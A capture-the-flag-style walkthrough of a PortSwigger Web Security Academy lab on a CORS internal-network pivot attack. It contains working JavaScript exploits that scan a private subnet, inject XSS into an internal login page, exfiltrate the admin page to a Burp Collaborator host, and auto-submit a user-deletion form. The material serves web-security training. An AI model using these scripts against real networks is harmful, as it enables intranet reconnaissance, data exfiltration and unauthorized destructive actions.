CORS vulnerability with internal network pivot attack
CORS vulnerability with internal network pivot attack
Platform: PortSwigger | Category: CORS | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, CORS
Summary
Walkthrough of the PortSwigger Web Security Academy lab CORS vulnerability with internal network pivot attack (CORS). This lab demonstrates a cors vulnerability and its exploitation to achieve the lab objectives.
Lab Overview
PortSwigger Web Security Academy — CORS
This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.
Lab Description :
Overview :
Intranets and CORS without credentials
Most CORS attacks rely on the presence of the response header:
Access-Control-Allow-Credentials: true
Without that header, the victim user's browser will refuse to send their cookies, meaning the attacker will only gain access to unauthenticated content, which they could just as easily access by browsing directly to the target website.
However, there is one common situation where an attacker can't access a website directly: when it's part of an organization's intranet, and located within private IP address space. Internal websites are often held to a lower security standard than external sites, enabling attackers to find vulnerabilities and gain further access. For example, a cross-origin request within a private network may be as follows:
GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com
And the server responds with:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
The application server is trusting resource requests from any origin without credentials. If users within the private IP address space access the public internet then a CORS-based attack can be performed from the external site that uses the victim's browser as a proxy for accessing intranet resources.
Solution :
Step 1 - Scan the localnetwork for the endpoint :
Use the following javascript code to scan the local network for the endpoint.
Local network -
192.168.0.0/24, port8080
javascript read-only • copy allowed<script> var q = [], collaboratorURL = 'http://egyk9bi1e8w0sehd0rv11l8gf7lx9m.oastify.com'; for(i=1;i<=255;i++) { q.push(function(url) { return function(wait) { fetchUrl(url, wait); } }('http://192.168.0.'+i+':8080')); } for(i=1;i<=20;i++){ if(q.length)q.shift()(i*100); } function fetchUrl(url, wait) { var controller = new AbortController(), signal = controller.signal; fetch(url, {signal}).then(r => r.text().then(text => { location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now(); })) .catch(e => { if(q.length) { q.shift()(wait); } }); setTimeout(x => { controller.abort(); if(q.length) { q.shift()(wait); } }, wait); } </script>
Store & Deliver the exploit to victim. Now if we go to our collaborator server, we can see that there are few DNS & HTTP requests been made to our server.
Inpecting one of the HTTP requests reveals the internal IP address with port 8080 which has the endpoint. - 192.168.0.226:8080
Step 2 - Test username parameter for XSS :
Now we should probe the username field for an XSS vulnerability.
Update the ip & collaborator server address in the below script.
javascript read-only • copy allowed<script> function xss(url, text, vector) { location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1]; } function fetchUrl(url, collaboratorURL){ fetch(url).then(r => r.text().then(text => { xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>'); })) } fetchUrl("http://192.168.0.226:8080", "http://axbi4rtdl0ahqci3jk0yilma81es2h.oastify.com"); </script>
Once the exploit is run successfully, we sould see a Collaborator interaction with foundXSS=1 in the URL.
Step 3 - Find source code of admin page
Update IP,port number & collaborator address
javascript read-only • copy allowed<script> function xss(url, text, vector) { location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1]; } function fetchUrl(url, collaboratorURL){ fetch(url).then(r=>r.text().then(text=> { xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">'); } )) } fetchUrl("http://192.168.0.226:8080", "http://2illbnma2eneorqiyhtdq5ady44usj.oastify.com"); </script>
Store & Deliver the exploit. If the exploit is successfull, we will get the source code of the admin page.
URL decoding it gives us the source code.
html read-only • copy allowed<script src="/resources/labheader/js/labHeader.js"></script> <div id="academyLabHeader"> <section class="academyLabBanner"> <div class="container"> <div class="logo"></div> <div class="title-container"> <h2>CORS vulnerability with internal network pivot attack</h2> <a id="exploit-link" class="button" target="_blank" href="http://exploit-0a9600460324ec37844eef07012600ae.exploit-server.net">Go to exploit server</a> <a class="link-back" href="https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack"> Back to lab description <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 28 30" enable-background="new 0 0 28 30" xml:space="preserve" title="back-arrow"> <g> <polygon points="1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15"></polygon> <polygon points="14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15"></polygon> </g> </svg> </a> </div> <div class="widgetcontainer-lab-status is-notsolved"> <span>LAB</span> <p>Not solved</p> <span class="lab-status-icon"></span> </div> </div> </section></div> <div theme=""> <section class="maincontainer"> <div class="container is-page"> <header class="navigation-header"> <section class="top-links"> <a href="/">Home</a><p>|</p> <a href="/admin">Admin panel</a><p>|</p> <a href="/my-account?id=administrator">My account</a><p>|</p> </section> </header> <header class="notification-header"> </header> <form style="margin-top: 1em" class="login-form" action="/admin/delete" method="POST"> <input required="" type="hidden" name="csrf" value="1KcxoeMy9RMMAF99jWL5LBLjnR4UC8on"> <label>Username</label> <input required="" type="text" name="username"> <button class="button" type="submit">Delete user</button> </form> </div> </section> <div class="footer-wrapper"> </div> </div>
Step 4 -
From the source code, we can see that there's a form that allows us to delete a user.
html read-only • copy allowed<form style="margin-top: 1em" class="login-form" action="/admin/delete" method="POST"> <input required="" type="hidden" name="csrf" value="1KcxoeMy9RMMAF99jWL5LBLjnR4UC8on"> <label>Username</label> <input required="" type="text" name="username"> <button class="button" type="submit">Delete user</button> </form>
So we create a javascript code that submits the form to delete carlos by injecting an iframe pointing to the /admin page.
Update IP, port & collaborator address.
javascript read-only • copy allowed<script> function xss(url, text, vector) { location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1]; } function fetchUrl(url){ fetch(url).then(r=>r.text().then(text=> { xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">'); } )) } fetchUrl("http://192.168.0.226:8080"); </script>
If we submit this form in our exploit server & click Deliver exploit to victim.
The above code will fetch the internal ip address (http://192.168.0.226:8080) at the url /admin?username=carlosdelete the user carlos. & Thus we've solved the lab.
Key Takeaways / Lessons
- Understanding CORS detection and exploitation is crucial for web security.
- Always validate and sanitize user input; implement proper access controls.
- This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.
Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: CORS vulnerability with internal network pivot attack